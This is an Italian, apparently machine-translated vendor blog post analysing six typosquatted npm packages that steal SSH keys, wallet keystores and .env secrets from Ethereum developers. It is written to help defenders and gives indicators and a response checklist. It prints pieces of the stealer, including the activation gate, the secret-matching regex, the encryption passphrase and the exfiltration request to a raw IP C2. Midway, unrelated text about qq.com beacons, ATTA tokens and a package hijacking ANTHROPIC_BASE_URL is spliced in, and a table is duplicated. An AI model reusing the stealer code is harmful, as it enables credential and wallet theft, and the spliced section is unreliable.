EVMDeFi npm Typosquatting Attack ruba le chiavi degli sviluppatori

Attacco di typosquatting su EVM/DeFi npm: furto delle chiavi degli sviluppatori

TL; DR

Il 6 maggio 2026, un singolo editore npm, namikazesarada010206hanno diffuso sei pacchetti dannosi che prendono di mira l'ecosistema degli sviluppatori di Ethereum, Solidity e DeFi.

I pacchi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilse web3-utils-core, hanno utilizzato nomi plausibili progettati per sembrare librerie di supporto per i più diffusi strumenti Web3.

Tutti e sei i pacchi contenevano lo stesso telemetry.js file. Il file era identico byte per byte in tutto il cluster, con SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Il malware non viene eseguito al momento dell'installazione. Non c'è preinstall or postinstall gancio. Si attiva invece quando il pacchetto viene importato tramite require().

Quel dettaglio è importante.

Il sistema di sicurezza attende che uno sviluppatore utilizzi effettivamente il pacchetto. Dopodiché, verifica se la workstation si presenta come un vero ambiente di sviluppo Ethereum/Solidity. Cerca chiavi Alchemy o Infura, chiavi private, mnemonici, chiavi di distribuzione o una directory Foundry locale.

Se l'host corrisponde, il ladro raccoglie le chiavi private SSH, i keystore del wallet Foundry / Geth / Brownie, .env* file e variabili d'ambiente sensibili. Crittografa il pacchetto con AES-256-GCM utilizzando una passphrase predefinita e lo esfiltra verso un endpoint C2 IPv4 raw con la verifica TLS disabilitata.

Il sistema di allerta precoce antimalware (MEW) di Xygeni ha confermato che tutti e sei i pacchetti sono dannosi. Il rapporto di rimozione dal registro npm è in sospeso.

Il Cluster: sei pacchetti, un unico editore.

L'account dell'editore namikazesarada010206 era collegato a un indirizzo Gmail non verificato namikazesarada010206@gmail.com.

La campagna è apparsa come un'unica pubblicazione di un giorno il 6 maggio 2026. Tutti e sei i pacchetti sono stati versioni come 1.0.0, non aveva dipendenze in fase di esecuzione e distribuiva solo tre file:

package.json
index.js
telemetry.js

Hanno inoltre dichiarato lo stesso repository di origine:

https://github.com/harunosakura030303-maker/evmchain-config

I primi tre pacchetti sono stati rilevati dagli scanner MEW alla prima pubblicazione. I restanti tre sono stati segnalati forzatamente dopo la revisione da parte dell'analista del profilo npm dell'editore. Una volta che lo stesso byte identico telemetry.js una volta confermata la presenza di anomalie nell'intero cluster, sono state chiuse come dannose per coerenza.

CONFEZIONE Versione npm pubblicato Biglietto MEW Giudizio
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Maligno
viem-utils-core 1.0.0 2026-05-06 #51050 Maligno
hardhat-core-utils 1.0.0 2026-05-06 #51051 Maligno
evm-utils 1.0.0 2026-05-06 #51069 Malizioso, per coerenza
utilità di fonderia 1.0.0 2026-05-06 #51071 Malizioso, per coerenza
web3-utils-core 1.0.0 2026-05-06 #51070 Malizioso, per coerenza

La strategia di denominazione è semplice ma efficace.

Questi pacchetti non imitano i nomi esatti a monte. Utilizzano invece suffissi "di utilità" plausibili come -core, -utilse -utils-coreQuesto le fa assomigliare a librerie complementari che uno sviluppatore si aspetterebbe di trovare vicino agli strumenti Web3.

Pacco malevolo Obiettivo legittimo
viem-core viem, un popolare client TypeScript per Ethereum
viem-utils-core viem
hardhat-core-utils hardhat, un ambiente di sviluppo Solidity di uso comune
evm-utils Namespace degli strumenti EVM generici
utilità di fonderia Foundry, una toolchain di Solidity
web3-utils-core web3-utils, helper per Web3.js

Questo è il modello del "pacchetto supplementare": non "Io sono il pacchetto principale", ma "sembro un valido aiuto per il pacchetto principale".

Per gli sviluppatori DeFi che si muovono rapidamente, questo è sufficiente a creare un rischio.

Cosa succede quando il pacco viene importato?

La catena di attacco è di piccole dimensioni, mirata e focalizzata sugli ambienti di sviluppo crittografico.

Non c'è alcun gancio di installazione. Invece ogni pacchetto include un index.js che esporta funzionalità fittizie e poi carica il modulo di telemetria dannoso.

require('./telemetry').init();

Ciò significa che il malware si attiva al primo import.

Ciò è operativamente utile per l'attaccante. Molti scanner e sandbox si concentrano sul comportamento in fase di installazione. Questo pacchetto attende di essere effettivamente utilizzato da uno sviluppatore, uno script di compilazione, una suite di test o un percorso di runtime.

Cancello di attivazione: si attiva solo su vere workstation per sviluppatori Web3

La parte più importante dell'impianto è il gate di attivazione.

Il malware verifica la presenza di variabili d'ambiente comunemente riscontrate sui computer degli sviluppatori di Ethereum/Solidity:

const indicators = [
  process.env.ALCHEMY_API_KEY,
  process.env.INFURA_KEY,
  process.env.PRIVATE_KEY,
  process.env.MNEMONIC,
  process.env.DEPLOYER_KEY,
].filter(Boolean);

Controlla inoltre se Foundry risulta installato:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Se nessuna delle due condizioni è vera, la funzione restituisce un valore e non esegue alcuna operazione.

Ciò rende il pacchetto meno invasivo negli ambienti di analisi generici. In una sandbox senza Foundry, chiavi Alchemy, chiavi Infura, chiavi private o mnemonici, l'importazione potrebbe apparire innocua.

Su un host compatibile, il malware attende dai 60 ai 90 secondi prima di effettuare la raccolta dei dati:

setTimeout(() => { try { _collect(); } catch {} },
          60000 + Math.random() * 30000).unref();

Il ritardo riduce l'ovvia correlazione tra importazione ed esfiltrazione. .unref() La chiamata consente inoltre al processo host di terminare normalmente se il pacchetto è stato importato in uno script di breve durata.

Non si tratta di un furto rumoroso e indiscriminato. È un programma di furto mirato, progettato per non essere eseguito a meno che l'ambiente di sviluppo non sia particolarmente interessante da sfruttare.

Ciò che il ladro colleziona

Una volta superata la fase di attivazione, il malware raccoglie informazioni dalle fonti più importanti per lo sviluppo Web3: chiavi private, keystore dei wallet, credenziali di distribuzione, segreti cloud, token npm e configurazione locale del progetto.

Fonte Cosa viene raccolto
processo.env Qualsiasi variabile corrispondente a /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* File contenenti PRIVATE KEY o BEGIN OPENSSH, incluso l'intero contenuto del file.
~/.foundry/keystores/* File del keystore del portafoglio Foundry
~/.ethereum/keystore/* File del keystore del portafoglio Geth
~/.brownie/accounts/* File del keystore del portafoglio Brownie
${cwd}/.env Contenuto completo del file
${cwd}/.env.local Contenuto completo del file
${cwd}/.env.production Contenuto completo del file
${cwd}/.env.development Contenuto completo del file
os.hostname() Metadati dell'host
crypto.randomUUID() Identificativo vittima/sessione
Data.ora() Data e ora di raccolta
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com

I token ATTA sono:

ATTA_ID 00400014144
ATTA_TOKEN 6478159937

Non siamo stati in grado di confermare se i dati di telemetria provenissero dalle analisi interne dell'operatore o da un canale di monetizzazione separato. I token ATTA sono gli stessi in entrambi i campioni esaminati.

Gruppo B: heibai

claude.hk Phishing OAuth + Dirottamento ANTHROPIC_BASE_URL

Il campione del 1° aprile rappresenta la fase più grezza e iniziale della campagna.

heibai:2.1.88-claude.hk-4 è stato pubblicato da wuguoqiangvip28, un account creato il 7 giugno 2025. Il pacchetto si è esplicitamente versionato rispetto al legittimo 2.1.88 Rilascio antropico.

Non si preoccupa minimamente dell'attacco Man-in-the-Middle (MITM) tramite certificato CA. Al contrario, mente all'utente riguardo all'endpoint OAuth.

Le aggiunte dannose al codice sorgente trapelato di Claude Code includono:

Fonte Cosa viene raccolto
processo.env Qualsiasi variabile corrispondente a /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* File contenenti PRIVATE KEY o BEGIN OPENSSH, incluso l'intero contenuto del file.
~/.foundry/keystores/* File del keystore del portafoglio Foundry
~/.ethereum/keystore/* File del keystore del portafoglio Geth
~/.brownie/accounts/* File del keystore del portafoglio Brownie
${cwd}/.env Contenuto completo del file
${cwd}/.env.local Contenuto completo del file
${cwd}/.env.production Contenuto completo del file
${cwd}/.env.development Contenuto completo del file
os.hostname() Metadati dell'host
crypto.randomUUID() Identificativo vittima/sessione
Data.ora() Data e ora di raccolta

L'elenco dei bersagli è estremamente specifico. Non si tratta di furto generico di browser o di raccolta indiscriminata di credenziali. È mirato agli sviluppatori che creano, testano, distribuiscono o gestiscono applicazioni Ethereum.

L'inclusione dei keystore di Foundry, Geth e Brownie è particolarmente importante. Questi file possono rappresentare l'accesso diretto ai wallet o alle identità di distribuzione. Se un malintenzionato riesce ad associarli a password, mnemotecniche o segreti di ambiente, potrebbe essere in grado di spostare fondi, impersonare gli utenti che effettuano le distribuzioni o compromettere le operazioni degli smart contract.

Crittografia prima dell'esfiltrazione

Il malware crittografa i dati raccolti prima di inviarli.

const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

La passphrase predefinita è:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Il payload finale è incapsulato in formato JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

La crittografia di per sé non rende il malware più avanzato. Tuttavia, rende più difficile l'ispezione della rete. Un difensore che monitora il traffico in uscita vedrebbe un payload JSON, ma non le chiavi rubate, i file del portafoglio o .env contenuti senza la passphrase e la logica di decrittazione codificate in modo rigido.

Esfiltrazione verso un C2 IPv4 grezzo

Il percorso di esfiltrazione è codificato in modo rigido:

const req = https.request({
  hostname: '76.13.37.80', port: 8443,
  path: '/api/v1/telemetry', method: 'POST',
  headers: { 'Content-Type': 'application/json', ... },
  rejectUnauthorized: false, timeout: 8000,
}, () => {});

Il malware invia dati a:

https://76.13.37.80:8443/api/v1/telemetry

Due dettagli spiccano in particolare.

Innanzitutto, il C2 è un indirizzo IPv4 grezzo anziché un dominio. Ciò elimina la necessità di registrare un dominio ed evita alcuni rilevamenti basati sul dominio.

In secondo luogo, la verifica TLS è disabilitata con:

rejectUnauthorized: false

Ciò consente al malware di accettare qualsiasi certificato, inclusi quelli autofirmati. In altre parole, l'attaccante ottiene un trasporto crittografato senza bisogno di un certificato pubblico valido.

Non è presente alcuna logica di ripetizione dei tentativi né un host di fallback. Gli errori vengono ignorati silenziosamente. Questo fa sì che il pacchetto non generi alcun errore se il server C2 è offline o irraggiungibile.

Perché questa campagna è importante

La maggior parte dei pacchetti npm dannosi destinati agli sviluppatori cercano credenziali generiche: token npm, chiavi AWS, token GitHub o .npmrc File.

Questa campagna restringe il campo d'azione.

Cerca segni che la macchina appartiene a uno sviluppatore Ethereum o Solidity. Quindi estrae esattamente le risorse che contano in quell'ambiente: keystore del portafoglio, chiavi private, mnemonici, chiavi di distribuzione, .env file e chiavi SSH.

Ciò rende la campagna più pericolosa per i team Web3 rispetto a un generico attacco di furto di dati npm.

Un'infezione riuscita potrebbe esporre:

  • Portafogli di distribuzione
  • chiavi di amministrazione dello smart contract
  • chiavi del provider RPC
  • Credenziali di distribuzione cloud
  • token di pubblicazione npm
  • Accesso SSH all'infrastruttura di sviluppo o di compilazione
  • I segreti del progetto sono conservati in .env file
  • Archivi di chiavi per portafogli per Foundry, Geth o Brownie

Anche i nomi dei pacchetti mostrano evidenti segni di ingegneria sociale. Prendono di mira l'ecosistema degli sviluppatori Web3 attraverso nomi di strumenti familiari: viem, hardhat, foundry, evme web3.

L'attore non ha bisogno di compromettere i progetti reali. Ha solo bisogno di uno sviluppatore che installi quello che sembra un pacchetto complementare ragionevole.

Indicatori di compromissione e rilevamento

Pacchi e spedizioni
Settore Valore
npm publisher namikazesarada010206
E-mail di pubblicazione namikazesarada010206@gmail.com
email verificata Non
SCM verificato Non
punteggio di reputazione 1.0
personalizzati viem-core, viem-utils-core, hardhat-core-utils, evm-utils, fonderia-utils, web3-utils-core
versioni Tutti 1.0.0
Residuo di sorgente https://github.com/harunosakura030303-maker/evmchain-config
Confermato il comportamento dannoso Tutti e sei i pacchetti
Reti
Tipo Valore
Punto finale C2 https://76.13.37.80:8443/api/v1/telemetry
IP C2 76.13.37.80
Porta C2 8443/TCP
Comportamento TLS rejectUnauthorized: falso
Schema del carico utile {"v":2,"iv": ,"D": ,"T": }
File e hash
Tipo Valore
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Layout del pacchetto package.json, index.js, telemetry.js
Conteggio dei file 3
Dimensioni totali approssimative 3.4 KB

Segnali di attivazione

Il malware verifica le seguenti variabili d'ambiente:

ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY

Verifica inoltre:

~/.foundry/

Percorsi host mirati

~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development

Raccolta Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Note di rilevamento

Diverse regole permettono di individuare questa campagna senza bisogno di un'analisi comportamentale completa.

Innanzitutto, analizza i file di blocco alla ricerca dei sei nomi di pacchetti dannosi:

viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core

Qualsiasi partita in package-lock.json, yarn.lock, pnpm-lock.yaml, o node_modules La storia dovrebbe essere trattata come un evento grave.

In secondo luogo, monitora i processi Node.js che leggono i percorsi del keystore del wallet:

~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/

Questo comportamento è raramente legittimo per un pacchetto importato come dipendenza di supporto. È particolarmente sospetto se seguito da attività di rete in uscita.

In terzo luogo, bloccare o segnalare le connessioni HTTPS a:

76.13.37.80:8443

Soprattutto quando il percorso della richiesta è:

/api/v1/telemetry

In quarto luogo, cercate pacchetti npm che combinino queste caratteristiche:

  • Editore nuovo o di scarsa reputazione
  • Account Gmail non verificato
  • Nome del pacchetto adiacente a Web3
  • Nessuna cronologia significativa del repository
  • Layout del pacchetto minuscolo
  • index.js che carica un file di telemetria o di supporto
  • Nessuna dipendenza in fase di esecuzione
  • Raccolta di variabili ambientali sensibili
  • Accesso al keystore del portafoglio

Questo schema è più utile di un singolo IOC perché il pacchetto successivo può cambiare l'indirizzo IP ma mantenere la stessa logica di targeting.

Lista di controllo per la risposta al compromesso

Se uno sviluppatore ha utilizzato uno dei sei pacchetti e il suo ambiente corrisponde al gate di attivazione, la workstation deve essere considerata compromessa.

Ciò include macchine con Foundry installato, chiavi Alchemy o Infura nell'ambiente, chiavi private, mnemonici o chiavi di distribuzione.

Risposta consigliata:

  • Disconnetti l'host dalla rete.
  • Conserva node_modulesfile di blocco, cronologia della shell e log rilevanti per le analisi forensi.
  • Ruota ogni coppia di chiavi SSH sotto ~/.ssh/.
  • Ruota le chiavi del portafoglio per ogni keystore sotto ~/.foundry, ~/.ethereume ~/.brownie.
  • Trasferisci i fondi in nuovi portafogli.
  • Ruota ogni segreto memorizzato in .env* file nei repository in cui ha lavorato lo sviluppatore.
  • Ruota i segreti dell'ambiente che corrispondono all'espressione regolare della raccolta, inclusi chiavi AWS, token npm, token di distribuzione, chiavi API, chiavi private, seed e mnemonici.
  • Verifica l'attività di Cloud, npm, GitHub, del provider RPC e della blockchain dall'installazione iniziale del pacchetto.
  • Prima di riutilizzare la workstation, reinstallare il sistema operativo.

Cosa dovrebbero imparare i difensori

Questa campagna mostra come il typosquatting di npm si stia evolvendo attorno agli ecosistemi di sviluppatori di alto livello.

L'attore non aveva bisogno di persistenza. Non aveva bisogno di offuscamento. Non aveva nemmeno bisogno di esecuzione in fase di installazione.

Si sono invece affidati a tre elementi:

  • Nomi plausibili di pacchetti Web3
  • Attivazione possibile solo su macchine reali per lo sviluppo di criptovalute.
  • Furto diretto dei file e dei segreti più importanti per gli sviluppatori di Ethereum

Ciò rende la campagna difficile da individuare in un'analisi generale e pericolosa quando si manifesta nel contesto giusto.

Per i team Web3, la lezione è chiara: trattate i nomi delle dipendenze come parte integrante del vostro modello di minaccia. Un pacchetto che sembra un innocuo helper può comunque rappresentare la via più breve per compromettere il portafoglio.

Segnalato al registro npm. Aggiorneremo questo post non appena l'account dell'editore e i pacchetti saranno rimossi.

sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Prova gratuita 7-day
Nessuna carta di credito richiesta

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni